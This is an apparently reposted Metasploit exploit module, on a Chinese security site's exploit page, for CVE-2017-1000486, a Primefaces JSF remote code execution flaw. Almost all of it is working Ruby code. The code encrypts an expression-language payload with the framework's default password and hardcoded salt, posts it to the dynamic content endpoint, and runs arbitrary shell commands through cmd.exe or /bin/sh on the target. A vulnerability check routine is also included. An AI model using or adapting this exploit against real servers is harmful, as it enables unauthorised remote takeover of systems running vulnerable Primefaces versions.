首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Primefaces 5.x - Remote Code Execution (Metasploit)
来源:metasploit.com 作者:Schuette 发布时间:2018-01-19  
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking
 
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient
  def initialize(info = {})
    super(update_info(info,
    'Name'           => 'CVE-2017-1000486 Primefaces Remote Code Execution Exploit',
    'Description'    => %q{
          This module exploits an expression language remote code execution flaw in the Primefaces JSF framework.
          Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack, due to the use of weak crypto and default encryption password and salt.
  },
    'Author'         => [ 'Bjoern Schuette' ],
    'License'        => MSF_LICENSE,
    'References'     =>
    [
      ['CVE', 'CVE-2017-1000486'],
      ['URL', 'http://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html'],
      ['URL', 'https://cryptosense.com/weak-encryption-flaw-in-primefaces/'],
      ['URL', 'http://schuette.se/2018/01/16/in-your-primeface/']
    ],
    'Privileged'     => true,
    'Payload'        =>
    {
      'Compat'      =>
      {
      'PayloadType' => 'cmd'
      }
 
    },
    'DefaultOptions' =>
    {
      'WfsDelay' => 30
    },
    'DisclosureDate' => 'Feb 15 2016',
    'Platform'       => ['unix', 'bsd', 'linux', 'osx', 'win'],
    'Arch'           => ARCH_CMD,
    'Targets'        => [
      [
      'Universal', {
      'Platform'   => ['unix', 'bsd', 'linux', 'osx', 'win'],
      'Arch'       => [ ARCH_CMD ],
      },
      ],
    ],
    'DefaultTarget' => 0))
 
    register_options([
      Opt::RPORT(80),
      OptString.new('PASSWORD', [ true , "The password to login", 'primefaces']),
      OptString.new('TARGETURI', [true, 'The base path to primefaces', '/javax.faces.resource/dynamiccontent.properties.xhtml'])  ,
      OptString.new('CMD', [ false , "Command to execute", '']),
    ])
  end
 
  def encrypt_el(password, payload)
 
    salt = [0xa9, 0x9b, 0xc8, 0x32, 0x56, 0x34, 0xe3, 0x03].pack('c*')
    iterationCount = 19
 
    cipher = OpenSSL::Cipher.new("DES")
    cipher.encrypt
    cipher.pkcs5_keyivgen password, salt, iterationCount
 
    ciphertext = cipher.update payload
    ciphertext << cipher.final
    return ciphertext
 
  end
 
  def http_send_command(cmd, payloadEL)
    uri = normalize_uri(target_uri.path)
    encrypted_payload = encrypt_el(datastore['PASSWORD'], payloadEL)
    encrypted_payload_base64 = Rex::Text.encode_base64(encrypted_payload)
    encrypted_payload_base64_url_encoded = Rex::Text.uri_encode(encrypted_payload_base64)
 
    # send the payload and execute command
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => uri,
      'vars_post' => {
      'pfdrt' => 'sc',
      'ln'  => 'primefaces',
      'pfdrid' => encrypted_payload_base64_url_encoded
      }
    })
 
    if res.nil?
      vprint_error("Connection timed out")
      fail_with(Failure::Unknown, "Failed to trigger the Enter button")
    end
 
    if res && res.headers && (res.code == 302 || res.code == 200)
      print_good("HTTP return code #{res.code}")
    else
      vprint_error(res.body)
      fail_with(Failure::Unknown, "#{peer} - Unknown error during execution")
    end
    return res
  end
 
  def exploit
    cmd=""
    if not datastore['CMD'].empty?
      cmd = datastore['CMD']
    else
      cmd = payload.encoded
    end
    payloadEL = '${facesContext.getExternalContext().getResponse().setContentType("text/plain;charset=\"UTF-8\"")}'
    payloadEL << '${session.setAttribute("scriptfactory","".getClass().forName("javax.script.ScriptEngineManager").newInstance())}'
    payloadEL << '${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}'
    payloadEL << '${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}'
    payloadEL << '${session.getAttribute("scriptengine").eval('
    payloadEL << '"var os = java.lang.System.getProperty(\"os.name\");'
    payloadEL << 'var proc = null;'
    payloadEL << 'os.toLowerCase().contains(\"win\")? '
    payloadEL << 'proc = new java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"cmd.exe\",\"/C\",\"%s\"]).start()' % cmd
    payloadEL << ' : proc = new java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"/bin/sh\",\"-c\",\"%s\"]).start();' % cmd
    payloadEL << 'var is = proc.getInputStream();'
    payloadEL << 'var sc = new java.util.Scanner(is,\"UTF-8\"); var out = \"\";'
    payloadEL << 'while(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}print(out);")}'
    payloadEL << '${facesContext.getExternalContext().getResponse().getWriter().flush()}'
    payloadEL << '${facesContext.getExternalContext().getResponse().getWriter().close()}';
 
    vprint_status("Attempting to execute: #{cmd}")
    resp = http_send_command(cmd, payloadEL)
    print_line(resp.body.to_s)
    m = resp.body.to_s
    if m.empty?
      print_error("This server may not be vulnerable")
    end
    return
  end
 
  def check
    var_a = rand_text_alpha_lower(4)
    payloadEL = "${facesContext.getExternalContext().setResponseHeader(\"primesecretchk\", %s" % var_a
    res = http_send_command(var_a, payloadEL)
    if res.headers
      if res.headers["primesecretchk"] == #{var_a}
        vprint_good("Victim evaluates EL expressions")
        return Exploit::CheckCode::Vulnerable
      end
    else
      vprint_error("Unable to determine due to a HTTP connection timeout")
      return Exploit::CheckCode::Unknown
    end
    return Exploit::CheckCode::Safe
  end
 
end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·GitStack 2.3.10 Remote Code Ex
·glibc - 'getcwd()' Local Privi
·Docker Sudo Privilege Escalati
·Smiths Medical Medfusion 4000
·Microsoft Edge Chakra JIT Loop
·macOS 10.13 (17A365) - Kernel
·Microsoft Edge Chakra JIT - St
·PHPFreeChat 1.7 - Denial of Se
·Microsoft Edge Chakra - 'AsmJS
·Simple ASC CMS 1.2 Database Di
·Microsoft Edge Chakra JIT - Ou
·NEC Univerge SV9100/SV8100 Web
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved